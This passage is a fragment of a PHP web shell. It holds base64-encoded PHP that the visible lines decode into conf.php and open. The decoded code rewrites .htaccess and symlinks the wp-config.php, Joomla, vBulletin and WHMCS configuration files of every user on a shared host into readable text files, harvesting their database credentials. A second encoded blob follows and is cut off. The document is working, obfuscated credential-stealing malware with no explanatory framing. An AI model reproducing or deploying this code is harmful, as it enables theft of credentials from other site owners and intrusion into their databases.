RmlyZSA+PiIgdHlwZT0ic3VibWl0Ij48YnI+PC9mb3JtPjwvY2VudGVyPjxicj48P3BocCB9aWYgKCRfUE9TVFsnY29uZmlnJ10pIHskZnVuY3Rpb24gPSAkZnVuY3Rpb25zPUBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpO2lmKGVyZWdpKCJzeW1saW5rIiwkZnVuY3Rpb25zKSl7ZGllICgnPGVycm9yPlN5bWxpbmsgaXMgZGlzYWJsZWQgOiggPC9lcnJvcj4nKTt9QG1rZGlyKCdibGFja3Njb3JwaW9uX2NvbmZpZycsIDA3NTUpO0BjaGRpcignYmxhY2tzY29ycGlvbl9jb25maWcnKTsKJGh0YWNjZXNzPSIKT1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kKT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkZvcmNlVHlwZSB0ZXh0L3BsYWluCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwKQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sCkFkZFR5cGUgdHh0IC5waHAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAKQWRkSGFuZGxlciB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAuaHRtbApBZGRIYW5kbGVyIHR4dCAuc2h0bWwKT3B0aW9ucyBBbGwKT3B0aW9ucyBBbGwiOwpmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIiwkaHRhY2Nlc3MsRklMRV9BUFBFTkQpOyRwYXNzd2Q9JF9QT1NUWyJwYXNzd2QiXTskcGFzc3dkPWV4cGxvZGUoIlxuIiwkcGFzc3dkKTtlY2hvICI8YnI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9I2IwYjAwMCBzaXplPTJwdD53YWl0IC4uLjwvY2VudGVyPjxicj4iO2ZvcmVhY2goJHBhc3N3ZCBhcyAkcHdkKXskcGF3ZD1leHBsb2RlKCI6IiwkcHdkKTskdXNlciA9JHBhd2RbMF07QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd3AudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtV1AudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy13cC1iZXRhLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtYmV0YS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1wcmVzcy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd29yZHByZXNzLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvV29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1Xb3JkcHJlc3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1Xb3JkcHJlc3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkdXNlci4nLWNvbmZpZ2dnLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtbmV3cy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtbmV3LnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJsb2cudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtYmV0YS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtYmxvZ3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtaG9tZS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2RiLnBocCcsJHVzZXIuJy1kYmNvbmYudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3Atc2l0ZS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1tYWluLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd3AtdGVzdC50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEyLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1wcm90YWwudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1jbXMudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1zaXRlLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEtbWFpbi50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ld3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ldy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLWhvbWUudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkdXNlci4nLXZiLWNvbmZpZy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0xNS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd2htLWNlbnRyYWwudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd2htLXdobWNzLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1XSE1DUy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobWMtV0hNLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd2htY3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXN1cHBvcnQudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkdXNlci4nLXdobWNzMi50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0udHh0Jyk7fWVjaG8gJzxiIGNsYXNzPSJjb25lIj48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDBkZDAwIiBzaXplPSIycHQiPjxiPkRvbmUgLT48L2I+IDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJibGFja3Njb3JwaW9uX2NvbmZpZyI+T3BlbiBjb25maWdzPC9hPjwvZm9udD48L2I+Jzt9Cj8+CgoKPC9ib2R5Pgo8L2h0bWw+';
- $file = @fopen("conf.php", "w");
- @fwrite($file, base64_decode($configgg));
- @fclose($file);
- header("Location:conf.php");
- }
- if (isset($_POST['dogi'])) {
- $dogi = "XEZGXEQ4XEZGXEUwXDAwEEpGSUZcMDABAVwwMFwwMAFcMDABXDAwXDAwXEZGXERCXDAwXDg0XDAwCQYHExMSFRMSExYVFRcYFRcYGBUVFRcVFRgWFRYXFRUXFRgdKCAYGiUdFRUhMSElKSsuLi4XHzM4My03KC0uKwENCg0KDQoODQoOGxAQGy0lICY1Ly0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxGRlxDMFwwMBEIXDAwXEI3ARMDASJcMDACEQEDEQFcRkZcQzRcMDAcXDAwXDAwAgMBAQEBXDAwXDAwXDAwXDAwXDAwXDAwXDAwXDAwXDAwBAUCAwZcMDAHAQhcRkZcQzRcMDA7EFwwMAEDAwMCBAUBBQgCA1wwMFwwMFwwMAFcMDACEQMEIQUSMUFRBiJhcRMyXDgxXDkxXEExXEIxFFw5MlxDMVxEMVxGMBYjM0JSclxFMVxGMQdiFVw4MlxCMlxGRlxDNFwwMBoBXDAwAwEBAQFcMDBcMDBcMDBcMDBcMDBcMDBcMDBcMDBcMDBcMDABAgMEXDAwBQZcRkZcQzRcMDAqEVwwMAICAgIBBAEEAgNcMDBcMDBcMDBcMDBcMDBcMDABAhEDIRIxBBMiQVFhFDJxXEYwXEIxXEMxI0JcODFcRkZcREFcMDAMAwFcMDACEQMRXDAwP1wwMHlSXDkzXDlDZCZ2R2xKd1pcRDB2S1xFRSlcQzBZcnhcRjBcOENCXEE1XEIyXEVBXDk3I2pdWlxFOEFcOTUGXEQ3BFxDMVReXDgxB1xEOWRwdFxFOHsEXEFGW3cFXDAwaxZcOThXUx3UiwEqUVxDMVxDQRdhXEU4eVxBNFxCNFxCQ0JiXEVCbVxCOSpcOUQOXEEwXDAwJlxEN1xGNFxGNzBcQzJcRjU8fDBwXEZDXDkyXDlDXDlBZgfFt01gXDkxzKxcRkQLXDhEXEY4DQpeLnFcREQEXEZGXDAwUlw4QvC9rLdcOENcQUNeRVlUXEY0RlxEQsOtXEE4dzwtLlw5MWopHVxBMU1cQ0QtHC9cOUFzCXlxVFxDOVxDMVxGOFxGNFxCQicmXERCGlxERQJGElw4Mkt6LShcOERcQUFcOUZcRDlbHmxcQ0FcQzVcRTNcRjhcQkPWh1xCNFxCNlxDQ1xERFxDRFxDNlxGNlxFMRFcQTI8XDkzDlxDMUdcRDZcRDJcREEkXDhFElw4QXcCXDlEbVw4OFxCQzJcQzcqZSBcOTNcRThcRjRafyhcRjZZLUZcRUZcQ0VcRTFcQzZWXDlFXDgzXEE1XDgzXEQ5ZW5cRUPmq6dcQkFsXEVE0qBcQjVEXEFDXEFDdx3Sr1xBOUg0XEMxRlhcQkExDQpcQkRWXEQ3c0lPGnEZU0LboU56Sg5cRjZcOTNLekrOvlw5NWNYXEI1XENFJVxBM1w4MFxCNXZaY1w5QwZcRTMDXEYyXDk1RlN1FE1cQkHZllxCQyVcQURcODZcRjVCXEQ5EAwVXEFB1rRcRDBcRDEjI1xGQVxDMlxDRlxbBCUXXDhEXEYxXDkweVlcQTBcRDHqiYVcQTQZCyFcQTIQDlZcRDLEggJcQ0UxBtmOUlxERElcRTVcQkMtHU4Wc1oDXEFBXEIySlw4NkxUXENEQVxFNFw5MAdcRjJQXEFF155ROnkBHte0XDk4EFxCMmdcOTRfZz1cOTlcOUJcQ0RcQ0MTCW1cQ0RcRTZcRjZcQzRcRkTWr1lcQjYFXEJDXEFDZStIeWpcOTRlHlw5MSFFXEI1XEM5Y9244KKuXEI1UxhvXEQ1EXtcQTUDDlw4OFw4M9esKlxBRWgBIGcYATxcQTUbQFxBMR1LXDgySSRcRkVXK1w4Nlw5MVdcRkQnXEVDXEI5X1w5ND5cQzNcQzRcRkQNCmxcQ0RcQzFVc1xBNjFcQzBcQTEsXEFGXDgwbyrKulxBN0VcRUJcQkYuElUiTiZDVFxCM3U3XDk4XEM4XEZDXEEwG18wXEUyVlw5MlxGQVxCMHlcQ0FILFxDMXEgLFxDOSlcQzlcRDBcQ0JIBlxFNuOyo1xFMlxBMzUdPFxCNVxEOVxFMQhcRjZ0CztyXDhCaG5cQzZ6JVxFMN2TXEQ1egMrNFxCM1xBNwtcQ0Fp27gZGClcQURcQkRcRDVQNlxFRitGHz4wVNCyXDhCYFw5QVxGNlw4RlxGMVxFQlw5MFxERSZ/XEUxaVxGNH0QU2hcOUVcQzluXDkwXEZGXDAwP1w5OWlr3IDVn1xDOcinXEI0B1xBNUBcRjVtXEMxXEMwVVNcRDNMXEUxRs63XDk4XDkyXDhDXEE5XEE4Blw5MBZoXEYyXEJBXEJEHV9lXDhFXEI2XERBXERGcgINClxGMlxBOGlcRTVfcXRdHRJNWVxFNFxCQg5oXEZGXDAwcVxGRQtcRENcRjFcQTNcQzIbOVxBRUxhSlxGMHBQGlxCRVw5MNefXDg435h26oChXBNcRTUielxCN1xBMVxFRVtcRUJcRThWXDgyxqzCpFxFMlxCMiphXEE3Dlw4NlpNb1xFRVxDMD0CXENGXEVBV1w5QmtwXDlGU1xBNxxwXEIzXEZFIFxBN1xFNlw5MBYcXEY4XFFoXEM5TRZcQjJcRTlcQzBcQ0Fiy5JcRTZcQzR/WVxGRUg9HtySC1w4MVw4OFxFQRNtXDgxXEEzXERCXEY4XEFBYFxGMVxCOUNcOTRcODhKdFxFOQtcRThcRTlcQ0QOXERFXEYxXDk1XEY2XEI1XEU4OG8fXDg1RlxBM3BdXEQ2G1xFOVxDOT5cODlwXEE1UFxGMDFcREFGPlw4Qm44KCpcOEEWXDlCXERCYdqIXDlBLlxGNlkGXEQ13YlbB1w4MmkWXDlFXEJEXEQ2VNi5XDhFXDkyIEpcQzNcRTdcQzVcRjJNIVxGMVw4Q1xGNFxFQngSXDlFXERCXVxFRFxDMlxDOVxENdS2YUpcREJTXDlFV1w5QlxCMlxFOFxEQtK83KlcQjhgeVxDQVxDRlFcRDRgKlxFQWtFXEE1I25cODNOXEFEXDhGa1pcQjdcQTJLd1xCQVw5RUFfHVxBRjdcOTJ+XEM4A1xBOQ0KzoFcQzJcQzdcRTlKXEY30I1cRDk7XENCXEY3XEI5XEI4CC0yXEE3XDlFHVxDQXFSA3hZa1w5Nx1cRDI9VVxENgTWgFxFMj5cRDRaC3FcRjhUaHZAXEQ0LndcRDELY3sjJkBcRkMjbFxBRTtEJFw5NGtHR1xFQ1xEMht2ei9cQUI3W1BcRjMefytcOTRpXDk0XEU2M1xEMW5JbFxDQWBuFnJcRDAaYhFtXEFGXDlDXEFGUWlcOTMlfXJBVlxFOVw5N1BcRUNcRjBUKlNcRERcQ0ZcRDFGXEEzYHsnXEU0XEUyXEVEA1xCMVxFRFxFNlxENzYOUlxENlg0NlDUrlw5NVw4MlxGMnBcOTlcRTdcRTRcQkEWKFxBNFxCMzMYV9KFVVxGNVxhBCpcQkEWN1w4RDdscVw4Ql4DXDg0clw5OFRcQUFcRTJcREMkdnMyXDlEXEIxXEY4XDg1TVULXEQ4JSrFpytcQUJcB3VRXEJFXDAwXDgyXDk2WFZcRENcRTgCSFxGQiBcOTVcQzkhXDlBNHQqSAJnXEU4XEIzXEZFIlxBQ1rssa5cOENcRjlcODdcRjELSlxDQVgfK1JcRkRWXEMwVVxFNFw4OVxGNgdcRUQr3oxdUFw5MGlKXENDXEZEXDgzXEE5VCBcMDBYXEVFXEMwXEY5SVxGND0NClxERGlcOTZcREVQTz1/XDlBSVxBNVxFOFxDRGFcOTAzXEVCXEMyXEQ1W1xCNgJcRDEMddiZXEYyJlxFORYyXDlBXDhEWkBcRjIVXEFBLipcOENcODFcQzFcODFTWlw5Q1w4MlxBRQcNCg8oHCJcRDQpXEI1XDgzc1w4OFw4MDhZXEJBXEZBXEE5L1wwMAcfXEZFXEMxXEEwD1xGNlw4Q1w4RlxBQy1GXEFGaB4gXEZGXDAwXERBT2NcQTNcODBcRTJcRTIBPVxGQQ9AFFw5RFxCN0hcQkMcUlxCNhdsXEQ3FlxDRh9/XEUyXEJFXERDUFw5MVw5NFlwGFxGRCEFd3IGFj8tXEE1HVxCMVxCMVxGNmR1XEFCZ04CAlw4NUxcQUQdXEZEcEJcQ0QxXDg3eVxFQ1dcOTZcQjZcOERcOTVIeW9QEFxCRVzRlVxGMtGABGlI1rQsXEJBEFxERNmQMGEVXEExXERCXEVDElVcQjdMLlw5NVl5YAEUXEI1TFw5NVNcQjBcRULbnCxcQkRcRkRcRUVIWht6IVxDMkpRXEFCaVxDRFxGOVw5MFw4QlYWXEFDXEFCTVxBMmJ7XEEzKFxERQEgXDg4XDhFFHTamA0KPCleUWlcOTJcOTJfXEJCYFxGRQg6XEY0ElxCOQdcRjANClxFNH04AtmxXEY4OV8uKWFba1NyXEJFXEU5XEEyFT4BIDt3XEM4V1VcQTc8XEExaFxCRQ0KLlxCRFx6XEEwXDg1SAlcQzYwFVw5NFxEQhlSXEE1THJVdxVCElxCQR5cQznWqiEBVlxCQypcQUFcREMlXEI3VVw4OVxFMQURaHVpclw5ONOuXVw4RRZywqZyXDlB0LlcMDBcODRlGloaXDhCdVJcRTBcQzMlZS1cRjUqXEMxXEUwAmJgDQrFo1xFQgJPXEQxblxFRVxBOBdcRDM+XEExI1xGMFxGNlw5Q01eI2lcRTdcRjl2VFxGMVxFMtyOXEQ3bFxEOWlcQjRIXEE2XEREXEQxMVxFQlxGQ1FtYFxFQgdcRTgUY1wwMARVXEI1XEI4GStcRTghGjLJklxBN0lYFFxCM1xEMCVcQkHWs07ak1xBQVxENDtaXEQwSSQSPx9cQTJcQTNiJFxEOFxDN1xFMig5XEVCXENGHVxGRlwwMFw5MFxBNlxBM2ZcOUJcODUyXEUwXEQ3ElocXEMyXEUwS2VcQTBcOTjjvK1cQURcOERxVVxBMVxFRDhJXENFXEM3XEUxWwsOVVxCRVxCNCk5XEFCIVxFM21oXERCMVxBMVxBMl5OAVw5OFxDMVxDODAJXEUzXEIyElw5NRxcQTNmXDkyXEI5XDk1X1xDMlxFRVxCMlxGRRNcRjFcODFcQkE7HlxDMteGXEI1XEYwMlxEMlxEN0gEGBFcRjJcOUMQFlxBOFxCRUZGElxBOSdcQjQXFlw4OAc0YiENCnlCR0hfatGCXDgwXEQ0cCc/dVw5RlxDOWlcQzFcREEfH2IdUVxBNBgDDQpcOUFUXDg0I1xDOAdcOTUXXEQyHRdcOENcRDfRrFxBQVw5OFNcQTlYBDVnXEVEXEVBXDk0XERD3pJTRjY0U2Nqd1w4MlUaXDg1YHhJXXMFF0FcRkJcQjlNKAs1QVRcQUZIXEMwXytcRDVzXEIxDQowFVxGNF5cRDlJQisrXEE3aEBcOThfWWpcRTJzXEMycFxDNzBcODQde1xCMBdVXDhDXEUyXDhCG0BHC1w5MFw5RlxCN1w4RVxFQlw5MFxFMC1cQTBcQkQ6XEVBEVxGNVxFRVxBNSpcQjdcQTFcRDV9XEI4XEE5CVxBNVxGOBpU3oJNSCpcQzfWlFxBNVxCNzJcRUVRXEY2XEQ1A1w5MlxEMTpcQTBcQkFvXERDQAlcOTBcRDF3NSjfsFxDQXVhXEFECFw4OVxGQythXEM3CX5cRTZ3WzNXXEQ2Blw5Qlw4OCgaXDkw0LQaXEQ1UFxGM1xFNVlcRUJcQUEOXDg0ckYxXDk1RVw4OVxDQVxDMSlcRDczXDgwXDk4WFxENxtcODRcQTFcRUNcQUQPVG1cQkRcQTgPXEU1SVxDORxcQTVGXEIyXDlEcVxCMQFcQTdUXEQ4XEYyflxDMHpcQTBcQUUqFlw4QxVcRjNJXEJCXDlBXDgwc1w5RlxFOCpcRTFcOTLmuIVXybRcQjZhMFFcRUNqXEFFXDgxXEMwXDkwXEFDJXtcRjFUXDhDXDhEXERCLt6FXEJEXEEy17RcQjFcRUQOY1w4NBB6XEE5NlxBN3U2XEQ2B1w4NN2BaFxDQjtcQzDWpgw4XDgwZAc5XEM0N1xGRFxCRFw5Nlw4RVxDQd20XEQ4GlxEMVwwMCvelXhcOEFcRkPQt3NcRELIgSZMSVw4MkpUXDkyKVxDQVJcQTQwfWZcQ0YgfVAaXEFFXDlGSlxFMVw5MFxGNlxCNVxFMGRwYFw4NVxFNF9cREFwXEZBXEQ1KVw5Nlw5NwZcOERcRELJmVxFMmdcQjcoXDlEB8WVGXRaAQxcREVcQzZcMDAnz7hcODBxXEM3VTc0XENEH1xBN2laez0fTVxEMmhcREJcQ0ZcQzFkF1xGQ1xDNyRcOUZcQTlMXDlFfFxCMFxBMCpcQzZVVW5cQjcMJlxBNFw4Q822cFxBNkhZXDlESlxFOduLHVxERGpcQTkZCy9cRTJcQUFAOVxBRVhcRkNcQzg/TlxEMWwbXDlEAdy+GEhZXEE3eFw4QR1cQjRcOTRuXEEzXEE4XDhEXDg0dVjallw4NFxENFxEQ0FcODVcRTdcRTPGnlxEOVxFODhcRkMaalw5QVw4NlxGRQ0KXEFC4LuyXEFB3YBcMDBwXDlEUVxBQ1xDMlxENFxDQTQ7XDhEKjNcRjVpXDk5TWxaNlxBMFxBRVxFN3cNCgxcQUFcRTBcOTlcQzbItVxCMVw5QlxCOVBcQUEJU1xCM2hyIVw5Nt2UXEY4XDlDXEUwD0RUAjcvXDg20qFcQznPsmlnRFw5MwE+XEE3alwwMBhLQVhcQkVcQ0MzXEFDanYrXDk2XEQ0XEQwC1w5MFxEON+nXDhG2LJcRTBcRUMLI1xBOV89XENGXEYyXEE2elw5NlxCNlxERRBUbVw4QlxDNlxFNsKmPFVcQjZmXDhBXEQ4PVxBRFxDMVw5Q1xBNlZcQjdcREJMXDk0XEE4XEQwLXZRNFxDMD1XSilcODJWOXZcQUFcRDdhSVw5N1xDMVxBN1w5NFxCMlxEQVxDNBMyXDg4XEI5XEI1XDAwSlw5RlxBNlxBOFDat1xFM1w5OUBcRENcRUESXEFBXEE2XEY2wq9cQ0IrXDk2NFw4RVxFMh9nfhR1G1xDMlxEMhxcRDVVKh9cRTlCXl1AIFw4RlxCQSsaO1w4RFw5RitcRUIFXEUyFlxBN1xDMFZcRkJcRENqXEJGXDkxXDg2XDhGWFxFNXlcQ0RaXEUwHC9CXEZGXDAwxpV3Ay5xPlxBNVxEMD5cRkN9FlxBRh8cVNaBPHxhZ1xBMlxCNFxBRXtcQ0ZFXEYwHCpcREVcRkVcQ0LWsyUVXDhBXDg0XDlDXDg1XDlBXEQ2NXpcOTZcQjVcOUJXLlxBMkgPaARcQjgCfmEdXDk2XDlDJVxGQVw5RFw4QmpcQjFcQ0QiZQZcQjQ0aT1cOERcOTl217FcQUZpBDgCCFxFMFw4M1w5MFJcOER6XEIzTTc1XEQ5aQQVXDhFXEIx1p9mXEUzRVxFM3U2XEI4XENDEzRcQzFcRjlcXEQx1adcQThcRThlB1xFMm8ZMFxCMFxGQzBcRTdkXDhFIEjpn6dcRERyyKpcQ0F6MlxFNGV1XEI3XEQ0bFxCNVxCRlxFMVw4RkgkdARcOEVRPhhlT1w4QVxDN1xENCRcQjVcQTZAPElcRTBcRkQEXEFD3qNcRTI6XDhGXDk2XDg2NVxBMzxcODk/XEM5FWNcQUVXDQoHXENBRFw4MVw4MQYIJ1xCRjhZXEVEJ2xcRDZcRTbao9urXRNIXDk2XDlFRg9cQTlcQzdFXEYyzplcODACWVxBMj3OpFxDRN2BTylcQkE4TFw5RjdmJlxCOFxFOCFcQUVcODVcOTdcRjFcODV+BB4mVlxBNlw5OVw5NFxBRllcQTJcQzLhu7JPJVxCNVw4Q1xCN1w4QVw5M1xDOHlcODVKXEM3dxJcODhcRjhvdjY7XEY3SlxGNFxCRg9cRTlWXEU0XEVFLWk+XEIxXDg1XEFCXEEzQlw5MFxDMA0KXEZDLz9cOTNcRjg9GVxDOSNcQzLZpFxENseVXERGUFNcQkQvwrcTLmlcOEZQXEJEXEE2XDk1XEJEMjgFc1xFOTR2T1xDNnV6M3pcRjFcQkVcOTlcRTZUXEJDJlxFN1xFMFxCNg0KPlw5N1w4MFoyXEUzXEY2W1w5NjADK1xFRFtcODZcRjBcOTUjXDlFRt6RXDhEXEI2XEYwXSFcQzkoXEVGXEVDXEM1KFw4MSE+c2ByXDkyXERDamVcOEVcRTQUGihcQTUnXEQwE3wsGFxFOQ4pXDhCLFxDM3lAXFxGOFw4QlxCMFxGQlxBNFxGQVw4N1w4OVw5Q3DQllw5Mh9cOTNcRTlcOUFcRUZcODJcREZFXENCEVxGRFxBMD9cRTk/dcu5XEExeR5XVlw4QlxCN1xGOVw4RSU4bVxDNUoMXDk4XDkwXDg0XEI5XEI4aVwwMFw4RVw4QXc6XEEwdT1cQTQtMlw4QmRcQTNUXEVDBlxFM1N1R0wrbVxFQTwZXENDKlxFONemMVw4NVxGN1xGNlw4MlxFM1wwMGFzXDhECFxFMyY1XEI1XEQ1cxJcQUZcQUJcQThcRTYWdVxENFxcRDdwXDk4XEQzaFw4Q1xBNFxFMFxCRQPGgw0KcVxEMVlMXDgyEtazPlkoXDhCUEtcQTIUXEU1EVw5NBsaaVw5NzsdDlxFMFxGMFXalQZcRDRwIC5cQjZcQjEuIWksXEU4NVxBRFw4NzQkSVxGNlVFR0xcQ0RcRDBcRDBYclxFNlxBN1xGRRlcQThcREFVRTZtXDAwXEZBCVxGQVxCQlw5NVVcRTVcQzhcMDBcQzNKQ1xBNFxENT9cQjRcQjRcRTdcRTYfXEFBXEI2FSU0XEMxXDk1XEMxXEMxXEEzXEQ3AlxFRFw4MUFcOEVcQzZUXEY3XEFGXR5JXUZcQTFcRjg+XDhB17lQXEUwOStcODJlXEJDZVxBNBMVXEE5XDgxIkEfXEVBaVxFNVxBNWRcRjRcREQhXEFGXEE3V2t8XDgxXENDdBNcOTZcRUZcOTBEdlw5Ni9PXEFDXEYwRBFcODNcRDFjLyxcOUZvXVxDRRJpXEQ1IkhcQzgCSVwwMFw5RVw5MEhRXEUzXEM2X1w4M24MXDk2XEI4XEIzF3NcRTFcQTlwdiJiXDAwXEU4fX1cQ0EmXENGXEMzXEUxXEE0SVxFQTpwAcifVVxBM1xCRFxDMS1fKVw4OVV4XEExJGxcOEU6ZlxBQdqYXDAwDsmVKEksXEREXEU1b3gfXEEyaW5cRTU4KkdcOTM+w4wOElxGREtHfVLagFxFMjhGcmFqXEE42bdoXDhFICFcOTIqemFcODRcOUNdXEEzXDAwbAN4JVxBN1xEMFxDMlxFMUVcRkQeVlxCM1JcRDJcREFHGVlaXENEXEY4b1xEQVdcOUZcOUIfXEE3XEI30a4ZXEVDXEJFXERBXEZB5piAXEUwQlxCOVxCQVxFNVhcRjNyXEFEXEI0XEI4XEE2B1w5QRZ7W1xENBtcQjhcOEFkLFxGMlw5NlxCNHRcRTZcRkINClxCQVxGMUVxXDg2XDgxCV3HiStcRjNcQjkNCk5cQUNcRjJcODZ9KTBcODJcOTNcRjlCXEM3LFw4M